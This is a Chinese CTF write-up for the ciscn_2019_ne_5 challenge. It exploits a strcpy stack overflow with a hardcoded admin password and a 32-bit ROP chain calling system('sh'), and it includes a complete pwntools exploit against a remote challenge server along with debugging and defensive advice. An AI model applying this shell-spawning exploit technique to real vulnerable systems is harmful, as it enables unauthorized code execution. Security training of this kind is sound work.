1. 漏洞分析与利用思路
这个CTF题目是一个典型的栈溢出漏洞利用案例。我们先来分析程序的基本结构和漏洞点:
程序首先要求输入管理员密码,验证通过后才能进入主功能菜单。通过逆向分析可以发现,程序存在一个明显的栈溢出漏洞,位于日志信息修改功能中。具体来说,当选择修改日志信息时,程序使用了不安全的strcpy函数,将用户输入的内容复制到一个固定大小的缓冲区中,而没有进行长度检查。
注意:在实际漏洞利用中,strcpy这类不安全的字符串操作函数是常见的漏洞来源。它们不会检查目标缓冲区的大小,容易导致缓冲区溢出。
通过IDA反编译可以看到,程序虽然自带了system函数,但缺少直接的"/bin/sh"字符串。不过我们发现程序中有"sh"字符串(来自fflush函数的引用),这给了我们利用的机会。因为在Linux系统中,system("sh")和system("/bin/sh")的效果是相同的。
2. 漏洞利用步骤详解
2.1 绕过身份验证
首先需要绕过管理员密码验证。通过分析程序逻辑发现,只需输入"administrator"即可通过验证:
io.sendlineafter("Please input admin password:", b"administrator")2.2 触发漏洞路径
通过逆向分析,我们发现完整的利用路径应该是:
- 选择功能1(修改日志信息)
- 输入精心构造的payload触发溢出
- 选择功能4(退出程序)来执行我们的ROP链
2.3 ROP链构造
由于是32位程序,我们需要构造一个三参数的ROP链来调用system函数。具体构造如下:
offset = 0x48 + 4 # 填充到返回地址的偏移量 system_addr = 0x80484d0 # system函数地址 exit_addr = 0x0804a060 # exit函数地址(可选) bin_sh_addr = 0x080482E6 + 4 # "sh"字符串地址构造的payload结构为:
[填充数据][system地址][返回地址]["sh"字符串地址]这里有几个关键点需要注意:
- 填充数据需要精确覆盖到返回地址
- system地址后面跟的是执行完system后的返回地址(这里用了exit)
- 最后是system的参数地址(指向"sh"字符串)
3. 完整利用代码解析
下面是完整的漏洞利用代码,我们逐段分析:
from pwn import * from LibcSearcher import * # 设置环境 context(arch='i386', os='linux', log_level='debug') # 建立连接 io = remote('node5.buuoj.cn', 27220) elf = ELF('./ciscn_2019_ne_5') # 计算偏移量 offset = 0x48 + 4 # 获取关键地址 system_addr = 0x80484d0 exit_addr = 0x0804a060 bin_sh_addr = 0x080482E6 + 4 # 构造payload payload = cyclic(offset) + p32(system_addr) + p32(exit_addr) + p32(bin_sh_addr) # 利用过程 io.sendlineafter("Please input admin password:", b"administrator") # 绕过身份验证 io.sendlineafter(":", b"1") # 选择功能1 io.sendlineafter("Please input new log info:", payload) # 发送payload触发溢出 io.sendlineafter(":", b"4") # 选择功能4执行ROP链 # 获取交互式shell io.interactive()提示:在实际操作中,偏移量可能需要通过调试确定。可以使用cyclic模式生成测试数据,然后根据崩溃时的寄存器值计算精确偏移。
4. 常见问题与调试技巧
4.1 偏移量计算不准确
如果payload没有正确覆盖返回地址,可能是因为偏移量计算错误。可以通过以下方法调试:
- 使用cyclic(100)生成测试数据
- 运行程序并触发崩溃
- 查看崩溃时的EIP值
- 使用cyclic_find(EIP值)计算精确偏移
4.2 地址获取失败
有时关键函数的地址可能获取不到,可以尝试:
- 使用ELF对象的symbols属性:
system_addr = elf.symbols['system'] - 使用plt地址:
system_addr = elf.plt['system'] - 使用got地址:
system_addr = elf.got['system']
4.3 系统防护机制
现代系统通常有各种防护机制,如ASLR、NX、Stack Canary等。这个题目比较简单,没有这些防护,但在实际环境中需要注意:
- 如果遇到ASLR,需要先泄漏地址
- 如果有NX,可能需要使用ROP技术
- 如果有Stack Canary,需要先泄漏或绕过canary值
5. 扩展思考与进阶技巧
5.1 通用ROP链构造
在更复杂的情况下,可能需要构造更长的ROP链。一些有用的gadget:
ROPgadget --binary ./ciscn_2019_ne_5可以查找如"pop ret"、"pop pop pop ret"等有用的gadget来构造参数传递。
5.2 动态库利用
如果程序没有直接提供system函数,可以考虑:
- 泄漏libc地址
- 计算libc基址
- 获取system和"/bin/sh"的真实地址
5.3 其他利用方式
除了直接获取shell,还可以考虑:
- 读取flag文件内容
- 执行特定命令
- 修改程序行为
6. 安全编程建议
从防御角度,开发者应该:
- 避免使用不安全的字符串函数(strcpy, gets等)
- 使用安全的替代函数(strncpy, snprintf等)
- 实现严格的输入验证
- 启用现代防护机制(ASLR, NX, Stack Canary等)
- 定期进行安全审计和渗透测试
这个题目虽然简单,但涵盖了栈溢出利用的基本原理和技术要点。通过这个案例,我们可以深入理解缓冲区溢出漏洞的成因、利用方法和防御措施。在实际渗透测试中,类似的漏洞仍然广泛存在,掌握这些基础知识对于安全研究人员至关重要。